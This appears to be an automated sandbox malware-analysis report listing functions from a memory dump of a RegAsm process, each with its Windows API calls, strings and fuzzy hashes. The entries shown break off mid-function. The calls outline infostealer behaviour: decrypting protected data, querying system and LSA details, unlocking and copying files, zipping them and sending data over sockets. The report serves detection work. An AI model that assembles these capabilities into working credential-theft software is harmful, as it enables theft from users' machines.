Part of subcall function 004C6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F

Strings

cannot use operator[] with a string argument with , xrefs: 004A87AB, 004A87E0, 004A8821

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: cannot use operator[] with a string argument with
API String ID: 2195519125-2766135566
Opcode ID: 47c1c46a08179ae3435dc1ac204534a6208e0e27eecea5ebc0c104f0cce0cd2d
Instruction ID: 7335790c817dd560624ec5f8a0abfa113d97ce4f5550e65ca16f0d8f6b21fe9d
Opcode Fuzzy Hash: 47c1c46a08179ae3435dc1ac204534a6208e0e27eecea5ebc0c104f0cce0cd2d
Instruction Fuzzy Hash: 3D3332B0D042688BDB25CF68C9847EEBBB1BF59304F1082DED449A7282DB785B85CF55

Function 004D3070 Relevance: 4.7, APIs: 3, Instructions: 202processlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 004D31E1
GetProcAddress.KERNEL32(00000000,?), ref: 004D31EC
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 004D323C

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AddressCreateHandleModuleProcProcess
String ID:
API String ID: 3485509086-0
Opcode ID: 10a132b71744b91c7a8aabe7fe1419f0cbc09591c3e06b4d99c70cfa14b2ff3f
Instruction ID: 088ae3913fb6d903d5210d08602bbf9e48de8f586449a15bf82774f139eaf46a
Opcode Fuzzy Hash: 10a132b71744b91c7a8aabe7fe1419f0cbc09591c3e06b4d99c70cfa14b2ff3f
Instruction Fuzzy Hash: 27917CB4D00209DFCB14CF98C991BAEBBB1FF48704F24415AE905BB391D734AA41CBA6

Function 004C6B00 Relevance: 4.6, APIs: 3, Instructions: 148encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004C6B57
LocalFree.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,00000000,005599AF,000000FF,?,?,00000005), ref: 004C6B86
LocalFree.KERNEL32(?,?), ref: 004C6C82

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLocal$CryptDataUnprotect
String ID:
API String ID: 2835072361-0
Opcode ID: d6b7dc8cb0d8c0098c67cc08460201c660db03e6f2d15c7083e33ceac2d3cccd
Instruction ID: 2e713dc1a74e997b65c4750305752fc0c6d779e5618425e01440a3da5789e3a9
Opcode Fuzzy Hash: d6b7dc8cb0d8c0098c67cc08460201c660db03e6f2d15c7083e33ceac2d3cccd
Instruction Fuzzy Hash: 9741E4B1C002089BDB109F59CC45BEEFBB4EF58720F10822EEC5473391EB3969458BA5

Function 00544C30 Relevance: 4.6, APIs: 3, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00545330: GetVersionExA.KERNEL32(?), ref: 00545356

GetVersionExA.KERNEL32(?), ref: 00544C6E
GetFileAttributesW.KERNEL32(00000000), ref: 00544C8D

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Version$AttributesFile
String ID:
API String ID: 1468075466-0
Opcode ID: f1adef8edf0f0352c52b9e89a28035fd8bf14b55ea28c03b72276c3c4235da11
Instruction ID: bc2ef0739053d36f06754a90023b6e75e39f3b58e9e7be4025d3352de9730303
Opcode Fuzzy Hash: f1adef8edf0f0352c52b9e89a28035fd8bf14b55ea28c03b72276c3c4235da11
Instruction Fuzzy Hash: CD11B2776512158BD720DF78E9C9AEE7BE8FB45328F080166E909C3650E630DD058AA0

Function 004AA200 Relevance: 4.3, APIs: 1, Instructions: 2846COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,00000000), ref: 004AA277

Part of subcall function 004C6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID:
API String ID: 2195519125-0
Opcode ID: 2562b8d8edcd7aa76077e6729d86d9746f7a694b643e1fb4f36bbb326546085a
Instruction ID: 28088510ac93d66fc4d60b3de08a6c68e6d5d69eccba037a0543c049ec54885c
Opcode Fuzzy Hash: 2562b8d8edcd7aa76077e6729d86d9746f7a694b643e1fb4f36bbb326546085a
Instruction Fuzzy Hash: BA7312B0C052688BDB65CF68C984BEDBBB5BF59304F1082DAD449A7281DB346F84CF95

Function 0053F550 Relevance: 3.5, APIs: 2, Instructions: 484COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0053F705
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0053FA07

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 6ae8c637088de4902e6d455990272f9b247a4e20bc2d6b6d02b88d9e5933e8eb
Instruction ID: 1f76d2344d35fe0e13097961589cbfb84b6978ae6f877586e2245b879765d82e
Opcode Fuzzy Hash: 6ae8c637088de4902e6d455990272f9b247a4e20bc2d6b6d02b88d9e5933e8eb
Instruction Fuzzy Hash: E3029C71A04702AFDB18CF29C840B6ABBE4BF88318F14867DE859D7650D774ED94CB92

Function 0045D510 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OutputDebugStringA.KERNEL32(h6rt hrd54,005659DA,?,?), ref: 0045D7FF

Part of subcall function 00413D50: Concurrency::cancel_current_task.LIBCPMT ref: 00414093

Strings

h6rt hrd54, xrefs: 0045D7FA
4, xrefs: 0045D69D

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_taskDebugOutputString
String ID: 4$h6rt hrd54
API String ID: 2382360859-2423630874
Opcode ID: eb29c1a8cfbaf474cfffeeb3dbf7ea0de5824e103d9beeffce3b308331d9ec60
Instruction ID: 1c3b1535649d7cdfba491989f2624b8c9cc3d302d7556171bc5f6ed38105c079
Opcode Fuzzy Hash: eb29c1a8cfbaf474cfffeeb3dbf7ea0de5824e103d9beeffce3b308331d9ec60
Instruction Fuzzy Hash: 77C14A30D05389EACB10FBA9890A6EDBF70AB16314F14428DE865372D2DB781B45DB96

Function 004EEA40 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 148
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CharNextA.USER32 ref: 004EEA65
CharNextA.USER32 ref: 004EEA85
CharNextA.USER32 ref: 004EEAA5
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004EEAD6
lstrlenA.KERNEL32(?,00000000,00000000,00000003,00000000), ref: 004EEB52
GetProcessHeap.KERNEL32(00000008,?,00000000,00000000,00000003,00000000), ref: 004EEB6E
HeapAlloc.KERNEL32(00000000), ref: 004EEB71
lstrcpynA.KERNEL32(00000000,?,?), ref: 004EEB7E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004EEBA9
HeapFree.KERNEL32(00000000), ref: 004EEBAC

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36, xrefs: 004EEB8E

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$CharNext$Process$AllocFreeUnothrow_t@std@@@__ehfuncinfo$??2@lstrcpynlstrlen
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36
API String ID: 2305228968-2732702261
Opcode ID: 5fd86effdb08ae5e921d8deb505cae3a430545ece7315e41355ef6a8e8a93e14
Instruction ID: 66e08b66e62082d9c79a605ab5b022e87f42821b87c70d6f65fc34b32a61c15c
Opcode Fuzzy Hash: 5fd86effdb08ae5e921d8deb505cae3a430545ece7315e41355ef6a8e8a93e14
Instruction Fuzzy Hash: F1414976D003449FCF10CFAB9C80AAABBB5FF69302B08016BEA05B7351E7755D059B64

Function 00442CD3 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0044298C: CreateFileW.KERNEL32(?,?,?,?,?,?,00000000), ref: 004429A9

GetLastError.KERNEL32 ref: 00442DE7
__dosmaperr.LIBCMT ref: 00442DEE
GetFileType.KERNEL32(00000000), ref: 00442DFA
GetLastError.KERNEL32 ref: 00442E04
__dosmaperr.LIBCMT ref: 00442E0D
CloseHandle.KERNEL32(00000000), ref: 00442E2D
CloseHandle.KERNEL32(?), ref: 00442F7A
GetLastError.KERNEL32 ref: 00442FAC
__dosmaperr.LIBCMT ref: 00442FB3

Strings

H, xrefs: 00442F38

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 899e8745e59b9231842c25977fdcfb02482e73fc2f27b2205138a63271f33108
Instruction ID: 5150a9c177428a163fa7fb1c8ad58043a10a64c5935946436f9da82f6cbe0861
Opcode Fuzzy Hash: 899e8745e59b9231842c25977fdcfb02482e73fc2f27b2205138a63271f33108
Instruction Fuzzy Hash: 4EA15832A101149FEF19AF68DC917AE3BB1AB06314F58014EF801EF3A1CB799C56DB59

Function 0045E140 Relevance: 17.4, APIs: 11, Instructions: 889
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B8E0: CreateDirectoryA.KERNEL32(?,00000000), ref: 0040BA08

CreateDirectoryA.KERNEL32(?,00000000), ref: 0045E242
CreateDirectoryA.KERNEL32(?,00000000,?,-0000004C), ref: 0045E3D3
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,-0000004C), ref: 0045E4C6
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,-0000004C), ref: 0045E5BC
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,-0000004C), ref: 0045E808
CreateDirectoryA.KERNEL32(?,00000000), ref: 0045E986
CreateDirectoryA.KERNEL32(?,00000000,?,-0000004C), ref: 0045EB1D
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,-0000004C), ref: 0045EC10

Part of subcall function 004E6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
Part of subcall function 004E6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,-0000004C), ref: 0045ED06

Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D4F
Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D60

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,-0000004C), ref: 0045EDED
CreateDirectoryA.KERNEL32(?,00000000,?,00000000,?,?,?,-0000004C), ref: 0045F06D

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorThrow_std::_$AttributesErrorFileLast
String ID:
API String ID: 453214671-0
Opcode ID: ac6cfd635779d0a087b46daf18750918512d32ad7c74b6b57e83072163cb625d
Instruction ID: 0e418cf523baa0a35c0a910b93c4bb77d5942d6061cfe1063ad62b245a56bb8b
Opcode Fuzzy Hash: ac6cfd635779d0a087b46daf18750918512d32ad7c74b6b57e83072163cb625d
Instruction Fuzzy Hash: 4FA226B0D012688BCB25DB65CD95BDDBBB4AF14304F0040EED44A67282EB785F88DF5A

Function 004D6BA0 Relevance: 15.2, APIs: 10, Instructions: 164
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,00000000), ref: 004D6BD3
RmStartSession.RSTRTMGR(?,00000000,?), ref: 004D6C50
RmRegisterResources.RSTRTMGR(?,00000001,?,00000000,00000000,00000000,00000000,?), ref: 004D6C91
RmGetList.RSTRTMGR(?,00000000,?,?,?), ref: 004D6CB9
RmShutdown.RSTRTMGR(?,00000001,00000000), ref: 004D6CDA
RmEndSession.RSTRTMGR(?), ref: 004D6CF7
SetLastError.KERNEL32(00000000), ref: 004D6CFE
CopyFileA.KERNEL32(?,?,00000000), ref: 004D6D25
GetLastError.KERNEL32(?,?,00000000), ref: 004D6D33
CopyFileA.KERNEL32(?,?,00000000), ref: 004D6D47

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$CopyFileSession$ListRegisterResourcesShutdownStart
String ID:
API String ID: 304452573-0
Opcode ID: a8327e92bb0171081ed80a001bc2fd376f61390aad4190041d18571e8f39991b
Instruction ID: cca443e56f4e81c83c2dc89493b37bcb85ee1d7da0cfa031959f485395bd6110
Opcode Fuzzy Hash: a8327e92bb0171081ed80a001bc2fd376f61390aad4190041d18571e8f39991b
Instruction Fuzzy Hash: 6051C172D01219ABCB21CF94DC55BEEBBB8EB04320F10026AE804B3390D7396E05CBA4

Function 004E4720 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 291
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegGetValueA.KERNEL32(80000002,?,?,0001FFFF,00000001,?,00000104,?,?,?), ref: 004E4A70
GetComputerNameExA.KERNEL32(00000002,?,00000104,?,?,?,?,?,?), ref: 004E4ADC
LsaOpenPolicy.ADVAPI32(00000000,00587684,00000001,?), ref: 004E4B35
LsaQueryInformationPolicy.ADVAPI32(?,0000000C,?), ref: 004E4B48
LsaFreeMemory.ADVAPI32(?), ref: 004E4B76
LsaClose.ADVAPI32(?), ref: 004E4B7F

Strings

%wZ, xrefs: 004E4B65
;Yb., xrefs: 004E49C7

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Policy$CloseComputerFreeInformationMemoryNameOpenQueryValue
String ID: %wZ$;Yb.
API String ID: 762890658-2876608990
Opcode ID: 2bc047424b68b6e0ce855dfc6fb159c5a4099c2ee4e6a33927d68cf5a723d6b1
Instruction ID: db120a3af714b361d6db134a28a940fef9e0d4b71911d12d67c4190411436b99
Opcode Fuzzy Hash: 2bc047424b68b6e0ce855dfc6fb159c5a4099c2ee4e6a33927d68cf5a723d6b1
Instruction Fuzzy Hash: 1EE101B4D0425A8FDB14CF98C985BEEBBB4BF08304F2041AAE949B7341D7745A85CFA5

Function 004EA460 Relevance: 9.5, APIs: 2, Strings: 3, Instructions: 721COMMON

Download Yara Rule

APIs

Part of subcall function 00429070: ___std_fs_convert_narrow_to_wide@20.LIBCPMT ref: 0042910D
Part of subcall function 00429070: ___std_fs_convert_narrow_to_wide@20.LIBCPMT ref: 00429155

GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,0055BE78,?,?,?,?,?,?,?,00000000), ref: 004EA7DB
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004EAD83

Strings

status, xrefs: 004EAEC5
.zip, xrefs: 004EA5A8
recursive_directory_iterator::recursive_directory_iterator, xrefs: 004EAED6

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ___std_fs_convert_narrow_to_wide@20$AttributesFileIos_base_dtorstd::ios_base::_
String ID: .zip$recursive_directory_iterator::recursive_directory_iterator$status
API String ID: 3330089674-1106645639
Opcode ID: 39500ef44ae8891893e391ca32c2a261da514777514d00d36648c6c7972d4398
Instruction ID: e4b5c69169a378d9843cad64a7a06f9a4124bc1a4b6041df06ffae8f81546417
Opcode Fuzzy Hash: 39500ef44ae8891893e391ca32c2a261da514777514d00d36648c6c7972d4398
Instruction Fuzzy Hash: F6729F70D01298CFDB14DF69C944BEEBBB1BF14308F14419ED4096B282DB78AE84DB96

Function 00448910 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d325f66613c030e4744eb27239efa37874e6a487bfa5f848726366e60317337
Instruction ID: d4d7462daa34083545f9d93f0c5ebf53bf58a01a885379ada905c47cec286c1a
Opcode Fuzzy Hash: 4d325f66613c030e4744eb27239efa37874e6a487bfa5f848726366e60317337
Instruction Fuzzy Hash: E2B1F4B0A00245AFFB11DF99C881BAE7BB1FF55304F14015EE414AB392CB78AD81CB69

Function 00409280 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382libraryloadernetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(Ws2_32.dll,?,?,?,?,0054D15C,00000000,0000033C,00000000), ref: 004096A6
GetProcAddress.KERNEL32(00000000,?), ref: 004096B4
WSASend.WS2_32(?,?,00000001,00000000,00000000,00000000,00000000,?,?,?,?,0054D15C,00000000,0000033C,00000000), ref: 004096C9

Strings

Ws2_32.dll, xrefs: 0040969A

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AddressHandleModuleProcSend
String ID: Ws2_32.dll
API String ID: 2819740048-3093949381
Opcode ID: 6856e5598c0651629ecacecd3efee860c0db9f4f76fa9983be06b5c96a754975
Instruction ID: 188670ed5cfc709ed037a390f66f33add7af100e18449b0941b00ad524943a05
Opcode Fuzzy Hash: 6856e5598c0651629ecacecd3efee860c0db9f4f76fa9983be06b5c96a754975
Instruction Fuzzy Hash: 7C02CE70D04298DEDF25CFA4C8907ADBBB0EF59304F24429EE4456B2C6D7781D86CB96

Function 00408F20 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 272libraryloadernetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(Ws2_32.dll,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 004091C8
GetProcAddress.KERNEL32(00000000,?), ref: 004091D3
WSASend.WS2_32(?,?,00000001,00000000,00000000,00000000,00000000), ref: 004091EC

Strings

Ws2_32.dll, xrefs: 004091BF

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AddressHandleModuleProcSend
String ID: Ws2_32.dll
API String ID: 2819740048-3093949381
Opcode ID: 87e1872858ac1d0539a391c21140c6c418be5dcb765aa5c43d8d41cad525e975
Instruction ID: cb5ead6240095672237fdab8273f91d80b82b8d73d4ae51f565ea22395c8577a
Opcode Fuzzy Hash: 87e1872858ac1d0539a391c21140c6c418be5dcb765aa5c43d8d41cad525e975
Instruction Fuzzy Hash: E7C16A70E01214DFCB24CFA8C84579EBBB0BF08714F24859EE955AB392D779AD01CB95

Function 00442736 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 221fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,00000000), ref: 004429A9

Strings

@, xrefs: 004427FD
.D, xrefs: 0044273D, 00442740, 0044295D, 00442859, 004429A6
.D, xrefs: 00442971

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CreateFile
String ID: @$.D$.D
API String ID: 823142352-1140137659
Opcode ID: e583c9e25a58c2392e08ff2b40942725fd27e9236129f071e81b426d6d2c0f75
Instruction ID: 8a5bd5070e386d75612999e9c6525f1819e861122a4d8d87aea541b7a466abe7
Opcode Fuzzy Hash: e583c9e25a58c2392e08ff2b40942725fd27e9236129f071e81b426d6d2c0f75
Instruction Fuzzy Hash: 57612BB1A00109ABFF259E28DE85BBE7B54EB10364FA84227F904D7390D2BCCD91965D

Function 004E6CA0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07
std::_Throw_Cpp_error.LIBCPMT ref: 004E6D4F
std::_Throw_Cpp_error.LIBCPMT ref: 004E6D60

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$AttributesErrorFileLast
String ID:
API String ID: 995686243-0
Opcode ID: a41b107952486ec6df40509093918f0748ebbc491fc93ddbf32ccf01928707ec
Instruction ID: 241e2f942859b358e1133ab4bf22632851a161ac9c5554c12c2f2fb0b7350d8e
Opcode Fuzzy Hash: a41b107952486ec6df40509093918f0748ebbc491fc93ddbf32ccf01928707ec
Instruction Fuzzy Hash: DF11CE71A0028496DB205F6A5C08F6A7F60EB22772F64031BD8359B3D4DB3948058759

Function 0044D130 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 408timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0044D575,00000000,00000000,00000000), ref: 0044D434

Strings

Eastern Standard Time, xrefs: 0044D4CD
Eastern Summer Time, xrefs: 0044D4E1

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: 01d20bc7b71aa01cedd3fd500e38aed97212f2405757110fab55d1a20a1d5a42
Instruction ID: 995cd6d02630714d132d55606a96056be67725e06db18ab92a0eb750c7361116
Opcode Fuzzy Hash: 01d20bc7b71aa01cedd3fd500e38aed97212f2405757110fab55d1a20a1d5a42
Instruction Fuzzy Hash: C1C12472D00215ABEB20AF659C42ABF7BB9EF04714F54405BFD05EB291EB389E41C798

Function 00406B10 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 258COMMON

Download Yara Rule

APIs

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00406CF0
___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00406D3E

Strings

., xrefs: 00406D10

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ___std_fs_directory_iterator_advance@8
String ID: .
API String ID: 2610647541-248832578
Opcode ID: 5f3eade700469c7a9fb5890c11079ead9cbf970de5817dbd2772bd5265551e32
Instruction ID: 06e113195c9c995bb1126ed1958f592d786724859c69b2563011d6ef3baaff07
Opcode Fuzzy Hash: 5f3eade700469c7a9fb5890c11079ead9cbf970de5817dbd2772bd5265551e32
Instruction Fuzzy Hash: 6A91D071A00625ABCB34DF18C4846AAB7B4FF05324F01026AE856A77D0D739FDA5CBD9

Function 0044D3C2 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 156timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0044B01A: RtlFreeHeap.NTDLL(00000000,00000000,?,00451B48,?,00000000,?,?,00451DE9,?,00000007,?,?,004522DD,?,?), ref: 0044B030
Part of subcall function 0044B01A: GetLastError.KERNEL32(?,?,00451B48,?,00000000,?,?,00451DE9,?,00000007,?,?,004522DD,?,?), ref: 0044B03B

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0044D575,00000000,00000000,00000000), ref: 0044D434

Strings

Eastern Standard Time, xrefs: 0044D4CD
Eastern Summer Time, xrefs: 0044D4E1

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3335090040-239921721
Opcode ID: bab255d677d8a69015af7e47501515d63221a5465f353ca8bb36984fe35a7188
Instruction ID: 0255725ddff17caa4800aa52bb8978858ba55e04c5c19623f61c368dcd9d3b90
Opcode Fuzzy Hash: bab255d677d8a69015af7e47501515d63221a5465f353ca8bb36984fe35a7188
Instruction Fuzzy Hash: D5412671C01210ABEB10BF76DC4695E7BB9EF05368F10416BF914E72A1EB389E00DB98

Function 004D65F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 004D676A
std::_Throw_Cpp_error.LIBCPMT ref: 004D677B

Strings

UaJ, xrefs: 004D65FD

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID: UaJ
API String ID: 2134207285-2144978721
Opcode ID: c246c5826d7e5fdc7215037b4984a62e1ed8d52d1cc067ddb0de3ef1ef845752
Instruction ID: 177bb7d1701b8dda1f5a90c4ee3be826f8175b366ab48e47effb054e9b4aa952
Opcode Fuzzy Hash: c246c5826d7e5fdc7215037b4984a62e1ed8d52d1cc067ddb0de3ef1ef845752
Instruction Fuzzy Hash: 6441F2B1E002058BC720DF68995136EBBA1BB94314F19072FE815673D1EB79EA04C795

Function 004D6790 Relevance: 4.8, APIs: 3, Instructions: 278fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,00000000), ref: 004D6A20

Part of subcall function 004D6BA0: GetLastError.KERNEL32(?,00000000), ref: 004D6BD3
Part of subcall function 004D6BA0: RmStartSession.RSTRTMGR(?,00000000,?), ref: 004D6C50
Part of subcall function 004D6BA0: RmRegisterResources.RSTRTMGR(?,00000001,?,00000000,00000000,00000000,00000000,?), ref: 004D6C91
Part of subcall function 004D6BA0: RmGetList.RSTRTMGR(?,00000000,?,?,?), ref: 004D6CB9

std::_Throw_Cpp_error.LIBCPMT ref: 004D6B84
std::_Throw_Cpp_error.LIBCPMT ref: 004D6B95

Memory Dump Source

Source File: 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CopyErrorFileLastListRegisterResourcesSessionStart
String ID:
API String ID: 663416093-0
